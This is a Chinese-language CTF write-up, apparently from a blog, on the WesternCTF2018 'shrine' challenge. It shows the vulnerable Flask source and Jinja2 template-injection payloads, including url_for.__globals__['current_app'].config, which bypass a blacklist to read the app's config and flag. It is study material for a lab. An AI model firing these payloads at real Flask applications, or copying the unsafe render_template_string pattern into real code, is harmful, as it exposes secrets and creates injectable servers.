0
点赞
收藏
分享

微信扫一扫

[WesternCTF2018]shrine

elvinyang 2022-09-27 阅读 69

SSTI模板注入类题目

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程
服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)

模板渲染接受的参数需要用两个大括号括起来​​{{}}​​,所以我们需要在大括号内构造参数形成注入

SSTI注入需要知道用的是什么模板引擎,参考这张图片

[WesternCTF2018]shrine_hive

整理一下题目给出的python代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

可以看到有两个路由,第一个路由给出了显示出源代码,第二个路由在​​/shrine/​​​路径下提交参数,模板中设定​​{{ }}​​​包括的内容为后端变量,​​% %​​包括的内容为逻辑语句

我们简单测试注入​​/shrine/{{2+2}}​

[WesternCTF2018]shrine_flask_02

我们查看源码,可以知道我们提交的参数之中的​​()​​​会被置为空,同时会将黑名单内的内容遍历一遍,把参数内的与黑名单相同的置为​​None​

​/shrine/{{config}}​

[WesternCTF2018]shrine_hive_03

如果没有黑名单的时候,我们可以使用​​config​​​,传入 ​​config​​​,或者使用​​self​​​,传入 ​​{{self.__dict__}}​

当​​config​​​,​​self​​​,​​()​​​都被过滤的时候,为了获取讯息,我们需要读取一些例如​​current_app​​这样的全局变量。

看了其他师傅的WP,python的沙箱逃逸这里的方法是​​利用python对象之间的引用关系来调用被禁用的函数对象​​。

这里有两个函数包含了​​current_app​​​全局变量,​​url_for​​​和​​get_flashed_messages​

官方文档在

  • ​​https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages​​
  • ​​https://flask.palletsprojects.com/en/1.0.x/api/#flask.url_forbaobaoer.cn/archives/656/python-b2e7b180e9b880e793​​

我们注入​​{url_for.__globals__}​​得到

[WesternCTF2018]shrine_hive_04

​current_app​​​是当前使用的​​app​​​,继续注入当前​​app​​​的​​config​

​{url_for.__globals__['current_app'].config}​

[WesternCTF2018]shrine_python_05

成功找到​​flag​

​get_flashed_messages​​注入的方法同理

​继续学习,积累思路​

参考链接

  • ​​http://shaobaobaoer.cn/archives/665/tokyo-westerns-ctf-2018-web-wp#shrine​​
  • ​​http://luty.tech/2018/11/13/CTF题解记录-web篇/​​
  • ​​http://www.cl4y.top/buuctf_wp/#toc-head-37​​
  • ​​http://phoebe233.cn/index.php/archives/22/​​



举报

相关推荐

攻防世界-web shrine

再见2018

Densenet(2018)

2018读书记

2018+1=?

0 条评论